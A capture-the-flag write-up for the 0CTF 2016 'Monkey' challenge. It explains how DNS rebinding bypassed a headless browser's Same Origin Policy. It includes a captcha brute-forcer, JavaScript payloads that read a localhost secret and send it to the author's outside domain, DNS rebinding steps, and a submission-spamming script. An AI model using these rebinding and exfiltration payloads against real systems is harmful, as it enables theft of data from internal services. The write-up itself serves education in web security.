Just like other Web challenges, Monkey gave us a link to a simple website at http://202.120.7.200 with a little hint: “What is Same Origin Policy?”.

0ctf-2016-monkey

The goal is pretty clear: the monkey is actually some sort of headless browser and our job is to make it read the content hosted locally at http://127.0.0.1/secret and send it back to us.

Solving “captcha”

This captcha solving thing have been used in so many CTF’s lately that it’s getting trivial. For this particular captcha, I only needed to reuse my favourite bruteforce program in C with some small modifications:

// gcc md5.c -o puzzle -O3 -Wall -lcrypto

#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>
   
int main(int argc, char const *argv[])
{
    unsigned int i,j;
    unsigned char buf[128];
    unsigned char res[128];
    unsigned int *p = (void *)&buf[0];

    for (i = 0; i < 0xffffffff; i++) {
        *p = i;
        MD5(buf, 4, res);
        if (!strncmp(res, argv[1], 3)) {
            printf ("GOOD: ");
            for (i = 0; i < 4; i++) {
                printf("%02x", buf[i]);
            }
            puts("");
            return 0;
        }
    }
    return 1;
}

How to bypass the SOP

I started with a really naive solution with a hope that their webserver’s CORS was wrongly configured. I submitted a URL containing the following HTML content hosted at a random place on my server:

<html>
<head>
	<script src="http://test.zepvn.com/jquery-2.2.1.min.js" type="text/javascript"></script>
</head>
<body>
    <script type="text/javascript">
    	$(document).ready(function(){
           $.ajax({
              url: "http://127.0.0.1:8080/secret",
              type: "GET",
              success: function (response) {
			       window.location='http://test.zepvn.com/response?data='+response;
              }
           });
		});
    </script>
</body>

Of course that didn’t work and I was struggling a bit until my teammate forwarded this interesting bug report: Bug 1106687 - Security: SOP bypass via DNS-Rebind (including PoC) . It’s basically a sample case of DNS rebinding attack. It’s a form of attack where some evil guys make use of short TTL records on certain DNS servers and fool victims to visit two different locations (although with the same domain) of attacker’s choice. While the method mentioned in that bug report couldn’t be used to solve this challenge, the main idea of using DNS rebinding makes perfect sense to bypass SOP here.

I also noticed that the “Monkey” was nice enough to hold our URL opened for 2 minutes. So I quickly drafted out the plan: 0ctf-2016-monkey

In order to make the DNS record expire and get the browser to receive the new IP address, I created a real A record on my own domain name and point it to my server:

$ nslookup -type=A -debug hellokitty2.zepvn.com
Server:		8.8.8.8
Address:	8.8.8.8#53

------------
    QUESTIONS:
	hellokitty2.zepvn.com, type = A, class = IN
    ANSWERS:
    ->  hellokitty2.zepvn.com
	internet address = 52.62.61.237
	ttl = 600
    AUTHORITY RECORDS:
    ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name:	hellokitty2.zepvn.com
Address: 52.62.61.237

Notice that the TTL is pretty short (600 seconds). After submitting the URL to Monkey for the first time, I quickly changed the IP address to 127.0.0.1:

$ nslookup -type=A -debug hellokitty2.zepvn.com
Server:		8.8.8.8
Address:	8.8.8.8#53

------------
    QUESTIONS:
	hellokitty2.zepvn.com, type = A, class = IN
    ANSWERS:
    ->  hellokitty2.zepvn.com
	internet address = 127.0.0.1
	ttl = 600
    AUTHORITY RECORDS:
    ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name:	hellokitty2.zepvn.com
Address: 127.0.0.1

Once the secret data is returned back to browser, there are many ways to forward it to our server. In my case, I did a simple redirect to a random endpoint on my server with the secret data appearing on URL. The final HTML looks like this:

<html>
<head>
    <script src="http://hellokitty2.zepvn.com/jquery-2.2.1.min.js" type="text/javascript"></script>
</head>
<body>
    <script type="text/javascript">
    function loop_main_domain() {
        $.ajax({
            url: "http://hellokitty2.zepvn.com:8080/secret",
            type: "GET",
            success: function (response) {
                window.location='http://zepvn.com/response?data='+response;
            }
        });
    }

    $(document).ready(function(){
        setTimeout(loop_main_domain, 100000); // wait 100 seconds
    });
    </script>
</body>

At this point I was so close to getting the flag. The only problem was the monkey only kept the URL opened for 2 minutes while it would take the DNS record more than 10 minutes to expire. I overcame this by submitting the URL’s non-stop hopefully that the moment when monkey’s browser retrieved the new IP address would fall into the middle of one of those request sessions. This diagram might do a better job at explaining the trick:

0ctf-2016-monkey

Putting things together

I created a small Python script to automate the URL and captcha submission:

#! /usr/bin/env python2.7

import re
import requests
from subprocess import *

url = 'http://hellokitty2.zepvn.com:8080/pwn.html'

session = requests.Session()
r = session.get("http://202.120.7.200/")
main_page = r.text
prefix = re.search("=== '(.*?)'", main_page).group(1)

print "Prefix =", prefix
print "Bruteforcing ..."
proc = Popen(["./puzzle", prefix.decode("hex")], stdout=PIPE, bufsize=1)
output = proc.stdout.read()
string = output.split()[-1].decode("hex")
print "Found", string.encode('hex')
print "Sending ..."
r = session.post("http://202.120.7.200/run.php", data={'task': string, 'url': url})
print "Got response"
print r.text

And started to spam our poor Monkey with a lot of submissions:

$ while true; do ./monkey.py && sleep 5; done

After waiting for a while, I saw this in my server’s access log:

183.195.251.195 - - [12/Mar/2016:11:26:50 +0000] "GET /response?data=0ctf%7Bmonkey_likes_banananananananaaaa%7D HTTP/1.1" 404 168 "http://hellokitty2.zepvn.com:8080/pwn.html" "Mozilla/5.0 0CTF by md5_salt" "-"

Without using any conversion tool, it’s easy to say the flag is 0ctf{monkey_likes_banananananananaaaa}.